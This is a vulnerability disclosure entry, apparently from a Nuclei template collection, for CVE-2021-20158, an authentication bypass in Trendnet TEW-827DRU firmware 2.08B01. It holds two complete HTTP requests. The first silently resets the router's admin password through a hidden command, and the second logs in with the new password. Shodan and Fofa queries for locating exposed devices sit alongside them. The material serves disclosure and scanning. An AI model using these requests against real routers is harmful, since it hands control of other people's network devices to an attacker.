| Title | Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | An attacker with authenticated access can gain unauthorized control over the affected device. |
| Remediation | Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.8034 |
| CVE ID | CVE-2021-20158 |
| CWE ID | CWE-306 |
| Shodan Query | http.html:"TEW-827DRU"http.html:"tew-827dru" |
| Fofa Query | body="tew-827dru" |
| Tags | cve2021 cve disclosure router intrusive tenable trendnet vuln |
Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Content-Length: 143
Accept-Encoding: gzip
ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password=FjOKaxdB
POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Content-Length: 152
Accept-Encoding: gzip
html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass=RmpPS2F4ZEI=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20158.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20158.pcap
N/AN/A